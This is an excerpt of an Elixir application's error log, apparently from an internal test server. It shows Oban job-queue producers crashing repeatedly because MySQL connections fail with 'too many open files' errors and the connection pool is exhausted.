    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:31:12.240607Z], limit: 20, uuid: "7671b18f-35c5-4715-98de-a171e63dc26b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:12.240613Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62680>, refresh_timer: #Reference<0.2525715032.1077673987.41795>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:27.138000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:29.077000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:29.797000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:34.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:31:24.239840Z], limit: 50, uuid: "89dae807-c92b-453b-ad97-5a6e907e1b8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:24.239845Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63012>, refresh_timer: #Reference<0.2525715032.1099431938.62944>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:31:24.239502Z], limit: 3, uuid: "9fe70fac-201e-47d1-a94c-8f9e2edb92ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:24.239507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63013>, refresh_timer: #Reference<0.2525715032.1099431938.62945>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:31:24.241142Z], limit: 20, uuid: "731c48c6-9e70-406b-97df-4a6a20d06d24", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:24.241148Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63009>, refresh_timer: #Reference<0.2525715032.1099431938.62989>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:31:24.239187Z], limit: 5, uuid: "ca08b188-5075-466c-a895-77871da68416", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:24.239194Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62942>, refresh_timer: #Reference<0.2525715032.1099431938.62941>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:31:24.240058Z], limit: 10, uuid: "4249aab8-ce1e-4010-98cf-66ccb0a50e80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:24.240063Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63010>, refresh_timer: #Reference<0.2525715032.1099431938.62970>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:31:24.240221Z], limit: 5, uuid: "261041f0-86b4-4cfe-bb9b-16d2b1e9822e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:24.240226Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63011>, refresh_timer: #Reference<0.2525715032.1099431938.62972>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:38.193000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:41.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:43.312000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:43.472000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:45.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:31:36.239088Z], limit: 5, uuid: "f6989b1c-a4b4-48d1-9efc-ff0721ddefaa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:36.239093Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.196801>, refresh_timer: #Reference<0.2525715032.1068498948.63279>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:31:36.239021Z], limit: 50, uuid: "4e58f6d8-7c21-46b9-90a7-ec33f7345e82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:36.239028Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.196799>, refresh_timer: #Reference<0.2525715032.1121189889.196782>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

